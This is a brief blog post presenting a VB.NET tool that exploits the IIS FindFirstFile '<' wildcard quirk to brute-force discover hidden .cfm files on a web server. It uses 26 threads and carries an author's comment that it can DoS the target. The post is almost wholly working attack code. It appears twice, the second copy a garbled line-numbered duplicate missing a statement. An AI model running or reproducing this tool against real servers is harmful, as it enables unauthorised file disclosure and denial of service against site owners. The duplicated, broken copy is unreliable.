Exploiting FindFirstFile on WebServers

So, depending on the version of IIS installed on a Server, the “<<” or “>>” can be used as a wildcard for browsing to files. This issue is at the DOS Wildcard level, Src: Stack overflow. I need to add additional information, I’ll edit this post when I get addtional time.

Public Class Form1
    Dim NewLetter As Char
    Dim MyWebRequest As New Net.WebClient()
    Dim Extention As String = ".cfm"
    Dim FileLen As Integer = 0
    Dim SleepTime As Integer = 1000
    Const WebSite As String = "http://MyWebsite.com/"
    Private Sub ExplorePath(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)
        Application.DoEvents()
        Dim Data As Byte() = Nothing
        Dim NumberOfFilesFound As Integer = 0
        Dim DataLength As Integer = 0
        NumberOfFilesFound = 0
        Debug.WriteLine("Trying: " &amp; WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
        Try
            If LastAscii = 0 Then
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
            Else
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
            End If
            If DataLength &lt;&gt; Data.Length Then
                If LastAscii = 0 Then
                    ListBox1.Items.Add(RequestString &amp; "&lt;" &amp; Extention)
                Else
                    ListBox1.Items.Add(RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
                    Try
                        MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; Extention)
                        ListBox1.Items.Add("--[" &amp; RequestString &amp; Chr(LastAscii) &amp; Extention &amp; "]--")
                    Catch ex As Exception
                    End Try
                    ExplorePath(RequestString &amp; ChrW(LastAscii), 48)
                End If
            End If
        Catch ex As Exception
            DataLength = 0
        End Try
        Select Case LastAscii
            Case 0
                LastAscii = 48
            Case 58
                LastAscii = 65 'A
            Case 91
                LastAscii = 48 'Zero
                Return
            Case Else
                LastAscii += 1
        End Select
        Threading.Thread.Sleep(SleepTime)
        ExplorePath(RequestString, LastAscii)
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        'THIS CAN DOS THE SYSTEM
        'Add a Sleep Command
        'Exit Sub
        Dim MyThread(25) As Threading.Thread
        Dim MyThreadClass(25) As ThreadClassAction
        If TextBox2.Text = "" Then
            For i = 0 To 25
                MyThreadClass(i) = New ThreadClassAction
                MyThreadClass(i).CallBack = Me
                MyThread(i) = New Threading.Thread(AddressOf MyThreadClass(i).Launch)
                MyThread(i).Name = Chr(Asc("A") + i)
                MyThread(i).IsBackground = True
                MyThread(i).Start()
            Next
        Else
            Extention = TextBox1.Text
            ExplorePath(TextBox2.Text)
            MsgBox("Done!")
        End If
    End Sub
End Class
Public Class ThreadClass
    Public CallBack As Form
    Public Data As String
    Public Sub AddListItem1()
        Form1.ListBox1.Items.Add(Data)
    End Sub
    Public Sub AddListItem2()
        Form1.ListBox2.Items.Add(Data)
    End Sub
End Class
Public Class ThreadClassAction
    Public CallBack As Form
    Dim MyWebRequest As New Net.WebClient()
    Private Delegate Sub MyDelPtr()
    Public Extention As String = ".cfm"
    Const WebSite As String = "http://MyWebsite.com/"
    Public Sub Launch()
        ExplorePathThread(Threading.Thread.CurrentThread.Name)
    End Sub
    Private Sub ExplorePathThread(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)
        Debug.WriteLine("Starting Thread: " &amp; Threading.Thread.CurrentThread.Name)
        Application.DoEvents()
        Dim MyThreadClass As New ThreadClass
        MyThreadClass.CallBack = CallBack
        Dim MyDel1 = New MyDelPtr(AddressOf MyThreadClass.AddListItem1)
        Dim MyDel2 = New MyDelPtr(AddressOf MyThreadClass.AddListItem2)
        Dim Data As Byte() = Nothing
        Dim NumberOfFilesFound As Integer = 0
        Dim DataLength As Integer = 0
        NumberOfFilesFound = 0
        Debug.WriteLine("Trying: " &amp; WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
        Try
            If LastAscii = 0 Then
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; "&lt;" &amp; Extention)
            Else
                Data = MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
            End If
            If DataLength &lt;&gt; Data.Length Then
                If LastAscii = 0 Then
                    MyThreadClass.Data = (RequestString &amp; "&lt;" &amp; Extention)
                    CallBack.Invoke(MyDel1)
                Else
                    MyThreadClass.Data = (RequestString &amp; Chr(LastAscii) &amp; "&lt;" &amp; Extention)
                    CallBack.Invoke(MyDel1)
                    Try
                        MyWebRequest.DownloadData(WebSite &amp; RequestString &amp; Chr(LastAscii) &amp; Extention)
                        MyThreadClass.Data = ("--[" &amp; RequestString &amp; Chr(LastAscii) &amp; Extention &amp; "]--")
                        CallBack.Invoke(MyDel2)
                    Catch ex As Exception
                    End Try
                    ExplorePathThread(RequestString &amp; ChrW(LastAscii), 48)
                End If
            End If
        Catch ex As Exception
            DataLength = 0
        End Try
        Select Case LastAscii
            Case 0
                LastAscii = 48
            Case 58
                LastAscii = 65 'A
            Case 91
                LastAscii = 48 'Zero
                Return
            Case Else
                LastAscii += 1
        End Select
        ExplorePathThread(RequestString, LastAscii)
    End Sub
End Class

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

Public Class Form1

Dim NewLetter As Char

Dim MyWebRequest As New Net.WebClient()

Dim Extention As String = ".cfm"

Dim FileLen As Integer = 0

Dim SleepTime As Integer = 1000

Const WebSite As String = "http://MyWebsite.com/"

Private Sub ExplorePath(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)

Application.DoEvents()

Dim Data As Byte() = Nothing

Dim NumberOfFilesFound As Integer = 0

Dim DataLength As Integer = 0

NumberOfFilesFound = 0

Debug.WriteLine("Trying: " & WebSite & RequestString & "<" & Extention)

Try

If LastAscii = 0 Then

Data = MyWebRequest.DownloadData(WebSite & RequestString & "<" & Extention)

Else

Data = MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & "<" & Extention)

End If

If DataLength <> Data.Length Then

If LastAscii = 0 Then

ListBox1.Items.Add(RequestString & "<" & Extention)

Else

ListBox1.Items.Add(RequestString & Chr(LastAscii) & "<" & Extention)

Try

MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & Extention)

ListBox1.Items.Add("--[" & RequestString & Chr(LastAscii) & Extention & "]--")

Catch ex As Exception

End Try

ExplorePath(RequestString & ChrW(LastAscii), 48)

End If

Catch ex As Exception

DataLength = 0

End Try

Select Case LastAscii

Case 0

LastAscii = 48

Case 58

LastAscii = 65 'A

Case 91

LastAscii = 48 'Zero

Return

Case Else

LastAscii += 1

End Select

Threading.Thread.Sleep(SleepTime)

ExplorePath(RequestString, LastAscii)

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

'THIS CAN DOS THE SYSTEM

'Add a Sleep Command

'Exit Sub

Dim MyThread(25) As Threading.Thread

Dim MyThreadClass(25) As ThreadClassAction

If TextBox2.Text = "" Then

For i = 0 To 25

MyThreadClass(i) = New ThreadClassAction

MyThreadClass(i).CallBack = Me

MyThread(i) = New Threading.Thread(AddressOf MyThreadClass(i).Launch)

MyThread(i).Name = Chr(Asc("A") + i)

MyThread(i).IsBackground = True

MyThread(i).Start()

Else

Extention = TextBox1.Text

ExplorePath(TextBox2.Text)

MsgBox("Done!")

End If

End Sub

End Class

Public Class ThreadClass

Public CallBack As Form

Public Data As String

Public Sub AddListItem1()

Form1.ListBox1.Items.Add(Data)

End Sub

Public Sub AddListItem2()

Form1.ListBox2.Items.Add(Data)

End Sub

End Class

Public Class ThreadClassAction

Public CallBack As Form

Dim MyWebRequest As New Net.WebClient()

Private Delegate Sub MyDelPtr()

Public Extention As String = ".cfm"

Const WebSite As String = "http://MyWebsite.com/"

Public Sub Launch()

ExplorePathThread(Threading.Thread.CurrentThread.Name)

End Sub

Private Sub ExplorePathThread(ByVal RequestString As String, Optional ByVal LastAscii As Integer = 0)

Debug.WriteLine("Starting Thread: " & Threading.Thread.CurrentThread.Name)

Application.DoEvents()

Dim MyThreadClass As New ThreadClass

MyThreadClass.CallBack = CallBack

Dim MyDel1 = New MyDelPtr(AddressOf MyThreadClass.AddListItem1)

Dim MyDel2 = New MyDelPtr(AddressOf MyThreadClass.AddListItem2)

Dim Data As Byte() = Nothing

Dim NumberOfFilesFound As Integer = 0

Dim DataLength As Integer = 0

NumberOfFilesFound = 0

Debug.WriteLine("Trying: " & WebSite & RequestString & "<" & Extention)

Try

If LastAscii = 0 Then

Data = MyWebRequest.DownloadData(WebSite & RequestString & "<" & Extention)

Else

Data = MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & "<" & Extention)

End If

If DataLength <> Data.Length Then

If LastAscii = 0 Then

MyThreadClass.Data = (RequestString & "<" & Extention)

CallBack.Invoke(MyDel1)

Else

MyThreadClass.Data = (RequestString & Chr(LastAscii) & "<" & Extention)

CallBack.Invoke(MyDel1)

Try

MyWebRequest.DownloadData(WebSite & RequestString & Chr(LastAscii) & Extention)

MyThreadClass.Data = ("--[" & RequestString & Chr(LastAscii) & Extention & "]--")

CallBack.Invoke(MyDel2)

Catch ex As Exception

End Try

ExplorePathThread(RequestString & ChrW(LastAscii), 48)

End If

Catch ex As Exception

DataLength = 0

End Try

Select Case LastAscii

Case 0

LastAscii = 48

Case 58

LastAscii = 65 'A

Case 91

LastAscii = 48 'Zero

Return

Case Else

LastAscii += 1

End Select

ExplorePathThread(RequestString, LastAscii)

End Sub

End Class

Leave a comment

Cancel reply